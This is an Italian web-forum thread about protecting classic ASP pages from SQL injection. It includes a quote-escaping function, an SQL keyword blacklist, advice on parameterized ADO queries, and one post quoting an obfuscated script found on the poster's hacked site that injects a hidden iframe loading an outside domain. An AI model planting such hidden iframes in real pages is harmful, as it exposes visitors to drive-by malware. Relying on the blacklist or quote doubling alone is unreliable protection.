Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 20
  1. #1
    Utente di HTML.it
    Registrato dal
    Apr 2007
    Messaggi
    764

    Sql Injection - un chiarimento

    Scusate se rimetto in campo un argomento trito e ritrito, ma avrei bisogno di un chiarimento e nelle diverse ricerche che ho fatto, mi si sono solo confuse le idee.

    Sicuramente per mia ignoranza, ero convinto che la Sql Injection fosse possibile solo dai form e quello che ho sempre fatto è quello di usare una funzione che sostituisce gli apici con i doppi apici.

    Uso una funzione di questo genere:
    Codice PHP:
    function CorreggiVirgolette (stringa)
    CorreggiVirgolette Replace (stringa"'""''")
    End function 
    Metto la funzione nelle query di inserimento e modifica dati e basta.


    Non ho mai considerato pericoloso il passaggio di valori in querystring e invece stamattina leggo questa cosa.
    Chissà quanti altri errori od omissioni a livello di sicurezza commetto scrivendo le mie pagine.

    Giusto per non andare per tentativi e perdere tempo, c'è qualcuno così gentile da farmi un quadro preciso e semplice del problema, con suggerimenti per proteggere le mie pagine?

    Grazie!

  2. #2
    Utente di HTML.it
    Registrato dal
    Apr 2007
    Messaggi
    764
    Dai... qualche suggerimento?

  3. #3
    Utente di HTML.it
    Registrato dal
    Apr 2007
    Messaggi
    764
    Niente, eh?

    Ma nessuno ha mai avuto problemi di siti bucati per sql injection?

    Almeno qualche fonte chiara da consultare?

  4. #4
    sssssssssssssshhhhh, un segreto.... www.google.com, ma non dirlo a nessuno

  5. #5
    Utente di HTML.it
    Registrato dal
    Apr 2007
    Messaggi
    764
    Originariamente inviato da optime
    sssssssssssssshhhhh, un segreto.... www.google.com, ma non dirlo a nessuno
    Simpatico...

    Già fatte un po' di ricerche. Speravo che qualcuno avesse voglia di partecipare alla discussione e darmi una mano.

    Grazie lo stesso.

  6. #6
    Utente di HTML.it L'avatar di Bioboi
    Registrato dal
    Nov 1999
    Messaggi
    110
    Questo forum evidentemente... sta morendo.

  7. #7
    Originariamente inviato da Bioboi
    Questo forum evidentemente... sta morendo.

  8. #8
    Utente di HTML.it L'avatar di lucalicc
    Registrato dal
    Sep 2002
    Messaggi
    6,926
    questa funzione che ho trovato in rete è un pò piu complessa
    rispetto alla semplice sostituzione degli apici e dovrebbe
    metterti al sicuro dai tentativi di injection
    luca
    Codice PHP:
    <%
    'Declare variables
    Dim sUsername, sPassword
    '
    retrieve our form textbox values and assign to variables
    sUsername
    =Request.Form("txtUsername")
    sPassword=Request.Form("txtPassword")

    'Call the function IllegalChars to check for illegal characters
    If IllegalChars(sUsername)=True OR IllegalChars(sPassword)=True Then
    Response.redirect("no_access.asp")
    End If

    '
    Function IllegalChars to guard against SQL injection
    Function IllegalChars(sInput)
    'Declare variables
    Dim sBadChars, iCounter
    '
    Set IllegalChars to False
    IllegalChars
    =False
    'Create an array of illegal characters and words
    sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", _
    "#", "%", "&", "'", "
    (", ")", "/", "\", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|", "declare", "convert")
    'Loop through array sBadChars using our counter & UBound function
    For iCounter = 0 to uBound(sBadChars)
    'Use Function Instr to check presence of illegal character in our variable
    If Instr(sInput,sBadChars(iCounter))>0 Then
    IllegalChars=True
    End If
    Next
    End function
    %> 
    www.intheweb.it - Internet solutions

  9. #9
    Utente di HTML.it
    Registrato dal
    Apr 2007
    Messaggi
    764
    Grazie per la risposta Luca.

    Il problema è che mi sono trovato questo codice nel mio sito:
    Codice PHP:
    <script language="javascript">document.write("<"+"i"+"f"+"rame"+" sr"+"c='http://epsea.in/x/'"+" style='d"+"isplay:no"+"ne;'></"+"i"+"f"+"rame>");
    </script> 
    Sto cercando di capire come prevenire cose di questo genere.

    Devo proteggere i miei form con funzioni tipo quella molto semplice che ho postato io e tipo quella tua più articolata. Giusto?

    Per quel che riguarda le querystring, mi basta verificare che siano numerico e convertirla in numerica intera?
    E se il valore che passo in querystring non fosse numerico, come mi devo comportare?

    Altro da fare? Le vulnerabilità di trovano solo in Form e Querystring?

  10. #10
    Potenzialmente tutti i dati che arrivano dal client dovrebbero essere controllati:
    • form;
    • querystring;
    • cookies

    L'unico carattere che può dar problemi in questo senso è l'apice ('), che in SQL è usato per delimitare un campo di testo. E' necessario, quindi, sostituire l'apice singolo con due apici, ma solo se il parametro in ingresso viene usato effettivamente per costruire la query mediante concatenazione, altrimenti non ne vedo l'utilità. Una tecnica migliore è quella di utilizzare i parametri, un codice simile a questo:
    codice:
    Dim sql, rsp, cmd, username
    
    username = Trim(GetRequestForm("valore"))
    
    sql = "SELECT Utenti.* FROM Utenti WHERE Username = ?"
    Set cmd = Server.CreateObject("ADODB.Command")
    Set cmd.activeConnection = cn
    cmd.commandText = sql
    cmd.parameters.append(cmd.createParameter("", adVarChar, adParamInput, 50, username))
    Set rsp = cmd.Execute
    Qui non serve preoccuparsi di come dovrà essere scritto il parametro, se con gli apici o senza, ci pensa ADO (ma potenzialmente vale per tutti i tipi di dati, date comprese).
    Il difetto di questo approccio è che il recordset restituito è read-only e forward-only, ma per chi programma in ADO.NET non è una sorpresa.
    Chi non cerca trova.

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.